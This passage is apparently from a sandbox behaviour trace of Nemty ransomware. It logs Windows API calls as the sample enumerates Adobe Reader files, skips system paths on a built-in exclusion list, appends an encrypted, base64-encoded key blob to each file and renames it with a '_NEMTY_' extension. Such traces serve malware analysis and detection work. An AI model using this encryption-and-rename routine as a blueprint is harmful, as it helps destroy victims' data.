[0177.563] CloseHandle (hObject=0x2e8) returned 1 [0177.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.563] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\EScript.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\escript.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\EScript.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\escript.hrv._nemty_kgobjgd_")) returned 1 [0177.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.564] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83255f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.HRV", cAlternateFileName="")) returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2=".") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="..") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="...") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="windows") returned -1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="rsa") returned -1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="NTDETECT.COM") returned -1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="ntldr") returned -1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="MSDOS.SYS") returned -1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="IO.SYS") returned -1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="boot.ini") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="boot.ini") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="ntuser.dat") returned -1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="desktop.ini") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="CONFIG.SYS") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="RECYCLER") returned -1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="bootmgr") returned 1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="programdata") returned -1 [0177.564] lstrcmpiW (lpString1="IA32.HRV", lpString2="appdata") returned 1 [0177.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HRV", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HRV", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.HRV", lpUsedDefaultChar=0x0) returned 8 [0177.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HRV", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HRV", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.HRV", lpUsedDefaultChar=0x0) returned 8 [0177.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HRV", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HRV", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.HRV", lpUsedDefaultChar=0x0) returned 8 [0177.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HRV", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HRV", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.HRV", lpUsedDefaultChar=0x0) returned 8 [0177.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.565] Sleep (dwMilliseconds=0x5) [0177.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d7d0850, dwHighDateTime=0x1d561e8)) [0177.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d7d0850, dwHighDateTime=0x1d561e8)) [0177.573] GetLastError () returned 0x0 [0177.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.573] GetLastError () returned 0x0 [0177.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.573] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.573] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.573] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.573] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="u2mVOEkCjjv4dtX51x5cRpoAtj0Udjfy1VhUENixUjO5nAIOjlFgD5otY6w225Cb\r\neUVZNli69UOJfTRVDhK8NBogrIWAHag21wmUoYjwNK5ByDcaPDBvbVvPy/PlurqW\r\nhdkAtK5iXzep3uXY/pLVN8Wz/DIeJIHCHZHKqfUMKH4aZnRjwvGEd/3DHJxwSE5x\r\n07tRJSR3IFANzmSSSO5Mn4hqE7nW8DOkxeKNwGBxQW0LUzuilibVHf8RhEnWiLFZ\r\n5ueyANf62i/i1oXYSD1eMLQkcJjKQVgeEj9GcbpiBiL7UFmmyMU5Y7wQnSBfDLpi\r\nUZMopZdcgFOi+u4tt/kBDg==\r\n", pcchString=0x653e5dc) returned 1 [0177.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ia32.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.574] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0177.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0177.574] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.574] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0177.576] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.576] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0177.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0177.576] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0177.576] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.576] CloseHandle (hObject=0x2e8) returned 1 [0177.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0177.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.576] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ia32.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\IA32.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ia32.hrv._nemty_kgobjgd_")) returned 1 [0177.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0177.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.577] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="MakeAccessible.HRV", cAlternateFileName="MAKEAC~1.HRV")) returned 1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2=".") returned 1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="..") returned 1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="...") returned 1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="windows") returned -1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="$RECYCLE.BIN") returned 1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="rsa") returned -1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="NTDETECT.COM") returned -1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="ntldr") returned -1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="MSDOS.SYS") returned -1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="IO.SYS") returned 1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="boot.ini") returned 1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="boot.ini") returned 1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="AUTOEXEC.BAT") returned 1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="ntuser.dat") returned -1 [0177.577] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="desktop.ini") returned 1 [0177.578] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="CONFIG.SYS") returned 1 [0177.578] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="RECYCLER") returned -1 [0177.578] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="BOOTSECT.BAK") returned 1 [0177.578] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="bootmgr") returned 1 [0177.578] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="programdata") returned -1 [0177.578] lstrcmpiW (lpString1="MakeAccessible.HRV", lpString2="appdata") returned 1 [0177.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.HRV", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.HRV", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.HRV", lpUsedDefaultChar=0x0) returned 18 [0177.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0177.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.HRV", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.HRV", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.HRV", lpUsedDefaultChar=0x0) returned 18 [0177.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0177.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.HRV", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.HRV", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.HRV", lpUsedDefaultChar=0x0) returned 18 [0177.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.HRV", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.HRV", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.HRV", lpUsedDefaultChar=0x0) returned 18 [0177.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.578] Sleep (dwMilliseconds=0x5) [0177.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d7f69b0, dwHighDateTime=0x1d561e8)) [0177.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d7f69b0, dwHighDateTime=0x1d561e8)) [0177.588] GetLastError () returned 0x0 [0177.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.588] GetLastError () returned 0x0 [0177.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0177.588] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.588] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.589] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.589] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="m6o1dWtoH7t522C9Tt5IV4Mq6bd02FQfHKT3/rBs+riRXMz532rw1bjLZsIfMWqV\r\n30SrM7XnoxTkuM9V18JkKyfhUYEokJ2aPg+n6akfuvHkovdlVfCw4kLO822AoTx+\r\nI/5W9U373/w0hqPRXpbwxCl+etIfkm/wL6/zlrPh2waSdpxYaIt52ZJziUvCQysk\r\nBoy5qWI9sOv3NyV4kjPHCCc48rgazKG2s8mNlMO/7CztNhgiKddWjF4x4Kz3y0n2\r\ncYodGRPc5vRoS27S5VDrP0pGGr9Vz7s27fBmhcybxw2PNMcVpzORawq4uRgRiveP\r\n0m0k47ziPHyOMxS3gpFBCw==\r\n", pcchString=0x653e5dc) returned 1 [0177.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0177.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.589] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.589] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\MakeAccessible.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\makeaccessible.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 